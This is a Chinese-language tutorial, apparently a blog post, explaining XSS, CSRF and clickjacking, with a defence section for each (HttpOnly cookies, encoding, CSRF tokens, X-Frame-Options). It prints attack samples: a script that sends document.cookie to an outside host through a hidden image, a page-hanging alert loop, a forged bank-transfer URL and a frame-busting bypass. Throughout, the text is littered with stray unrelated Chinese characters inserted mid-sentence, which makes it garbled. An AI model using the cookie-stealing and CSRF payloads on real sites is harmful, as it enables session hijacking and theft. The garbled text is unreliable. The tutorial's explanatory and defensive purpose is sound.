XSS
xss: 跨站腳本攻擊（Cross Site Scripting）是最常見和基本的攻擊 WEB 網(wǎng)站方法诺凡，攻擊者通過注入非法的 html 標(biāo)簽或者 javascript 代碼嘶卧，從而當(dāng)用戶瀏覽該網(wǎng)頁時(shí)，控制用戶瀏覽器钟鸵。
xss 主要分為三類：
-
DOM xss :
DOM即文本對(duì)象模型，DOM通常代表在html蒙袍、xhtml和xml中的對(duì)象，使用DOM可以允許程序和腳本動(dòng)態(tài)的訪問和更新文檔的內(nèi)容以现、結(jié)構(gòu)和樣式。它不需要服務(wù)器解析響應(yīng)的直接參與茵汰，觸發(fā)XSS靠的是瀏覽器端的DOM解析，可以認(rèn)為完全是客戶端的事情豆胸。
-
反射型 xss :
反射型XSS也被稱為非持久性XSS，是現(xiàn)在最容易出現(xiàn)的一種XSS漏洞估盘。發(fā)出請(qǐng)求時(shí)，XSS代碼出現(xiàn)在URL中箫踩，最后輸入提交到服務(wù)器，服務(wù)器解析后在響應(yīng)內(nèi)容中出現(xiàn)這段XSS代碼吱韭，最后瀏覽器解析執(zhí)行。
-
存儲(chǔ)型 xss :
存儲(chǔ)型XSS又被稱為持久性XSS，它是最危險(xiǎn)的一種跨站腳本宙橱，相比反射型XSS和DOM型XSS具有更高的隱蔽性环葵，所以危害更大，因?yàn)樗恍枰脩羰謩?dòng)觸發(fā)菊卷。 允許用戶存儲(chǔ)數(shù)據(jù)的web程序都可能存在存儲(chǔ)型XSS漏洞，當(dāng)攻擊者提交一段XSS代碼后扑眉，被服務(wù)器端接收并存儲(chǔ)，當(dāng)所有瀏覽者訪問某個(gè)頁面時(shí)都會(huì)被XSS耸弄，其中最典型的例子就是留言板。
跨站腳本攻擊可能造成以下影響：
利用虛假輸入表單騙取用戶個(gè)人信息。
利用腳本竊取用戶的 Cookie 值扶歪，被害者在不知情的情況下，幫助攻擊者發(fā)送惡意請(qǐng)求炫欺。
顯示偽造的文章或圖片树姨。
存儲(chǔ)型 xss 案例
在項(xiàng)目開發(fā)中，評(píng)論是個(gè)常見的功能台丛，如果直接把評(píng)論的內(nèi)容保存到數(shù)據(jù)庫，那么顯示的時(shí)候就可能被攻擊侠坎。
-
如果你只是想試試 xss，可以這樣：
<font size="100" color="red">試試水</font> -
如果帶點(diǎn)惡意，可以這樣：
<script> while (true) { alert('Hello') } </script>這時(shí)，網(wǎng)站就掛了讶凉。
-
當(dāng)然，最常見 xss 攻擊是讀取 Cookie：
<script> alert(document.cookie) </script>Cookie 發(fā)送給攻擊者的站點(diǎn)：
var img = document.createElement('img') img.src='http://www.xss.com?cookie=' + document.cookie img.style.display='none' document.getElementsByTagName('body')[0].appendChild(img)當(dāng)前用戶的登錄憑證存儲(chǔ)于服務(wù)器的 session 中，而在瀏覽器中是以 cookie 的形式存儲(chǔ)的瘫里。如果攻擊者能獲取到用戶登錄憑證的 Cookie盐须，甚至可以繞開登錄流程闷尿，直接設(shè)置這個(gè) Cookie 值，來訪問用戶的賬號(hào)劳景。
防御
按理說，只要有輸入數(shù)據(jù)的地方筋量，就可能存在 XSS 危險(xiǎn)。
-
httpOnly: 在 cookie 中設(shè)置 HttpOnly 屬性后呀酸，js腳本將無法讀取到 cookie 信息。
// koa ctx.cookies.set(name, value, { httpOnly: true // 默認(rèn)為 true }) -
過濾
-
輸入檢查，一般是用于對(duì)于輸入格式的檢查蝗砾，例如：郵箱，電話號(hào)碼扣猫，用戶名癌幕，密碼……等，按照規(guī)定的格式輸入胶逢。
不僅僅是前端負(fù)責(zé)，后端也要做相同的過濾檢查。
因?yàn)楣粽咄耆梢岳@過正常的輸入流程南誊，直接利用相關(guān)接口向服務(wù)器發(fā)送設(shè)置。
-
HtmlEncode
某些情況下幔托，不能對(duì)用戶數(shù)據(jù)進(jìn)行嚴(yán)格過濾，需要對(duì)標(biāo)簽進(jìn)行轉(zhuǎn)換當(dāng)用戶輸入
<script>window.location.href=”http://www.baidu.com”;</script>, 最終保存結(jié)果為<script>window.location.</script>, 在展現(xiàn)時(shí)严肪，瀏覽器會(huì)對(duì)這些字符轉(zhuǎn)換成文本內(nèi)容篇梭，而不是一段可以執(zhí)行的代碼。
-
-
JavaScriptEncode
對(duì)下列字符加上反斜杠關(guān)于更多 HtmlEncode 和 JavaScriptEncode坦康，請(qǐng)參考 http://www.cnblogs.com/lovesong/p/5211667.html
CSRF
csrf：跨站點(diǎn)請(qǐng)求偽造（Cross-Site Request Forgeries）卑笨，也被稱為 one-click attack 或者 session riding妖滔。冒充用戶發(fā)起請(qǐng)求（在用戶不知情的情況下）， 完成一些違背用戶意愿的事情（如修改用戶信息，刪初評(píng)論等）承二。
可能會(huì)造成以下影響：
利用已通過認(rèn)證的用戶權(quán)限更新設(shè)定信息等；
利用已通過認(rèn)證的用戶權(quán)限購買商品；
利用已通過的用戶權(quán)限在留言板上發(fā)表言論家妆。
一張圖了解原理：
簡(jiǎn)而言之：網(wǎng)站過分相信用戶嵌赠。
與 xss 區(qū)別
通常來說 CSRF 是由 XSS 實(shí)現(xiàn)的齿税，CSRF 時(shí)常也被稱為 XSRF（CSRF 實(shí)現(xiàn)的方式還可以是直接通過命令行發(fā)起請(qǐng)求等）拧篮。
本質(zhì)上講，XSS 是代碼注入問題，CSRF 是 HTTP 問題顷牌。XSS 是內(nèi)容沒有過濾導(dǎo)致瀏覽器將攻擊者的輸入當(dāng)代碼執(zhí)行。CSRF 則是因?yàn)闉g覽器在發(fā)送 HTTP 請(qǐng)求時(shí)候自動(dòng)帶上 cookie，而一般網(wǎng)站的 session 都存在 cookie里面谁帕。
-
來自某乎的一個(gè)栗子：
案例
比如某網(wǎng)站的轉(zhuǎn)賬操作
受害者張三給李四轉(zhuǎn)賬100关划，
通過對(duì)銀行的網(wǎng)站發(fā)起請(qǐng)求 http://bank.example/transfer?accout=張三&to=李四&money=100 ，
通常情況下调榄，該請(qǐng)求發(fā)出后，服務(wù)器端會(huì)檢查 session 是否合法，并且張三已經(jīng)登錄成功腮出，
黑客王五可以自己給銀行發(fā)送一個(gè)請(qǐng)求 http://bank.example/transfer?accout=張三&to=王五&money=1000 ，但是這個(gè)請(qǐng)求來自王五攻锰，而不是張三变擒，他并不能通過安全認(rèn)證策添。他需要張三的 session 。
王五自己做了一個(gè)網(wǎng)站，放入如下代碼 http://bank.example/transfer?accout=張三&to=王五&money=1000 产上，
用各種方式誘使張三點(diǎn)擊自己的網(wǎng)站。
張三登錄了銀行的網(wǎng)站沒有退出，訪問了黑客王五的網(wǎng)站佃扼，上述的 url 就會(huì)向銀行發(fā)起請(qǐng)求挎扰。
如果session沒有過期尽超，這時(shí)悲劇就發(fā)生了傲绣，張三的賬戶里少了1000。
防御
驗(yàn)證碼；強(qiáng)制用戶必須與應(yīng)用進(jìn)行交互毅往，才能完成最終請(qǐng)求。此種方式能很好的遏制 csrf，但是用戶體驗(yàn)比較差戒幔。
盡量使用 post ，限制 get 使用；上一個(gè)例子可見枢析，get 太容易被拿來做 csrf 攻擊，但是 post 也并不是萬無一失啊易，攻擊者只需要構(gòu)造一個(gè)form就可以。
Referer check；請(qǐng)求來源限制呻逆，此種方法成本最低，但是并不能保證 100% 有效滓彰，因?yàn)榉?wù)器并不是什么時(shí)候都能取到 Referer弓候，而且低版本的瀏覽器存在偽造 Referer 的風(fēng)險(xiǎn)。
-
token；token 驗(yàn)證的 CSRF 防御機(jī)制是公認(rèn)最合適的方案贱迟。
整體思路如下：
第一步：后端隨機(jī)產(chǎn)生一個(gè) token，把這個(gè)token 保存到 session 狀態(tài)中；同時(shí)后端把這個(gè)token 交給前端頁面恬惯；
第二步：前端頁面提交請(qǐng)求時(shí)，把 token 加入到請(qǐng)求數(shù)據(jù)或者頭信息中，一起傳給后端讹堤；
后端驗(yàn)證前端傳來的 token 與 session 是否一致，一致則合法，否則是非法請(qǐng)求叙谨。
若網(wǎng)站同時(shí)存在 XSS 漏洞的時(shí)候姑尺，這個(gè)方法也是空談统捶。
Clickjacking
Clickjacking： 點(diǎn)擊劫持镰惦，是指利用透明的按鈕或連接做成陷阱兑凿，覆蓋在 Web 頁面之上。然后誘使用戶在不知情的情況下祈惶，點(diǎn)擊那個(gè)連接訪問內(nèi)容的一種攻擊手段棒搜。這種行為又稱為界面?zhèn)窝b(UI Redressing) 。
大概有兩種方式：
攻擊者使用一個(gè)透明 iframe闺鲸，覆蓋在一個(gè)網(wǎng)頁上，然后誘使用戶在該頁面上進(jìn)行操作，此時(shí)用戶將在不知情的情況下點(diǎn)擊透明的 iframe 頁面然想；
攻擊者使用一張圖片覆蓋在網(wǎng)頁令哟，遮擋網(wǎng)頁原有的位置含義蛙卤。
案例
一張圖了解
一般步驟
黑客創(chuàng)建一個(gè)網(wǎng)頁利用 iframe 包含目標(biāo)網(wǎng)站；
隱藏目標(biāo)網(wǎng)站垛耳，使用戶無法無法察覺到目標(biāo)網(wǎng)站存在护奈；
構(gòu)造網(wǎng)頁，誘變用戶點(diǎn)擊特點(diǎn)按鈕
用戶在不知情的情況下點(diǎn)擊按鈕，觸發(fā)執(zhí)行惡意網(wǎng)頁的命令建椰。
防御
-
X-FRAME-OPTIONS啦逆；
X-FRAME-OPTIONS HTTP 響應(yīng)頭是用來給瀏覽器指示允許一個(gè)頁面可否在
<frame>,<iframe>或者<object>中展現(xiàn)的標(biāo)記。網(wǎng)站可以使用此功能，來確保自己網(wǎng)站內(nèi)容沒有被嵌到別人的網(wǎng)站中去，也從而避免點(diǎn)擊劫持的攻擊朗和。有三個(gè)值：
DENY：表示頁面不允許在 frame 中展示，即便是在相同域名的頁面中嵌套也不允許镰禾。
SAMEORIGIN：表示該頁面可以在相同域名頁面的 frame 中展示坞古。
ALLOW-FROM url：表示該頁面可以在指定來源的 frame 中展示。
配置 X-FRAME-OPTIONS：
- Apache
把下面這行添加到 'site' 的配置中：
```
Header always append X-Frame-Options SAMEORIGIN
```
- nginx
把下面這行添加到 'http', 'server' 或者 'location'，配置中
```
add_header X-Frame-Options SAMEORIGIN;
```
- IIS
添加下面配置到 Web.config 文件中
```
<system.webServer>
...
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>
...
</system.webServer>
```
- js 判斷頂層窗口跳轉(zhuǎn)，可輕易破解，意義不大肖爵；
function locationTop(){
if (top.location != self.location) {
top.location = self.location; return false;
}
return true;
}
locationTop();
// 破解：
// 頂層窗口中放入代碼
var location = document.location;
//或者
var location = "";
